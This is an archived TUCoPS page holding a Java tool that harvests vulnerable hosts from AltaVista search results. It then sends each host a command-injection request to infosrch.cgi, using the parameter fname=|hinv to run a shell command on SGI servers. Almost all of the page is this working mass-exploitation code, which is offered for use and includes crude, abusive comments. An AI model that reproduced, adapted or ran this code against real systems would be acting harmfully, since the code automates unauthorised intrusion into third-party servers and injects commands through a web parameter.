TUCoPS :: Web :: General :: parse.jav

This is a Java class to hit altavista up for possible hosts then attempt to rape any host found.

// this is a class to hit altavista up for possible hosts then attempt to rape any host found. 

import java.io.*;
import java.util.*;
import java.net.*;

public class parse
{
	// v is for each line read from alta.
	public static Vector v = new Vector();
	// host is for definate host names.
	public static Vector host = new Vector();
	// string for host to attack. 
	public static String get;

	public static void main (String args[]) 
 	{
  		try
  		{
			// change this if you require more args
   			if(args.length < 0)
   			{
     				System.out.println("wrong arguments fuck face!");
   			}
   			else
   			{
				System.out.println("--ignition--");

				// run through altavista hunting for hostnames. 
				int incr;
				int count = 0;
				for(incr = 0; incr < 990; incr = incr + 10)
				{
					System.out.print(" #");
    					URL altavista = new URL("http://www.altavista.com/cgi-bin/query?pg=q&stype=stext&text=yes&q=url%3acgi%2dbin%2fMachineInfo&stq=" + incr); 
					URLConnection ac = altavista.openConnection();
    					BufferedReader in = new BufferedReader(new InputStreamReader(ac.getInputStream()));
		         	       	String line;
    					while((line = in.readLine()) != null)
 	   				{ 
						count = count + 1;
						v.addElement(line);	
					}
				}
				System.out.println("\n" + "line count: " + count);

				
				// here is where the actual parsing begins. 
				int x;	
				for(x = 0; x < v.size(); x = x + 1)
				{
					int start = v.elementAt(x).toString().indexOf("http://");
					if(start > 0) 
					{
						int stop = v.elementAt(x).toString().indexOf("/cgi-bin/", start); 
						if(stop > 0)
						{
							String target = v.elementAt(x).toString().substring(start, stop);
							if(target.indexOf("ltavista") > 0)
							{
								
								System.out.print("-");
							}
							else
							{
								System.out.print("^");
								host.addElement(target);
							}
						}							        
					}
					else
					{
						// System.out.print(v.elementAt(x).toString());
					}
	   			}
			}
			System.out.println("\n" + "attempt breach. ");
			
			// this is where we attack the possible hits in the vector
			// rather simple really

			for(int r = 0; r < host.size(); r = r + 1)
			//for(int r = host.size() - 1; r > 1; r = r - 1)
			{	
				get = host.elementAt(r).toString();
				// System.out.println(r + " " + host.elementAt(r).toString());
				getthread rape = new getthread(get);
			}
			System.out.println(host.size() + " possible hosts"); 
			
		}
	 	catch(Exception e)
  		{
    			System.out.println("your such a fuck up..." + "\n" + e.toString());
  		}
	}
}
class getthread 
extends Thread
{
	public getthread(String get)
	{
		try 
		{
			String link; 
			link = get + "/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|hinv"; 
			URL u = new URL(link);
			System.out.print("@ "); 
			BufferedInputStream is;
			int connected = 0;
			for ( is = new BufferedInputStream(u.openConnection().getInputStream()); connected < 1; connected = connected + 1)
			{
				InputStreamReader isr = new InputStreamReader(is);
				BufferedReader in = new BufferedReader(isr);
				String line; 
				while((line = in.readLine()) != null) 
				{
					System.out.println(parse.get + " " + line);  
				}
			}
	
		}
       		catch(Exception e) 
		{
			System.out.println("-xXx- " +  parse.get); 
		}
	}
	public void run()
	{
	}
}
class getsock
extends Thread
{
	public getsock(String host)
	{
	}
	
	void run()
	{
	}
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH